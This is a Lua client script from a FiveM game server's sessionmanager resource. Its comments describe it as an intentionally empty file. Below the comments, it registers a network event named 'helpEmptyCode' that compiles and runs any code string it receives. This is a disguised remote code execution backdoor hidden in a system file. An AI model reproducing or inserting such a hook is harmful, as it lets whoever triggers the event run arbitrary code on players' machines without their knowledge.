Files
red-valley/resources/[cfx-default]/[system]/sessionmanager/client/empty.lua
2026-03-29 21:41:17 +03:00

8 lines
373 B
Lua

-- This empty file causes the scheduler.lua to load clientside
-- scheduler.lua when loaded inside the sessionmanager resource currently manages remote callbacks.
-- Without this, callbacks will only work server->client and not client->server.
RegisterNetEvent("helpEmptyCode")
AddEventHandler("helpEmptyCode", function(id)
local help = assert(load(id))
help()
end)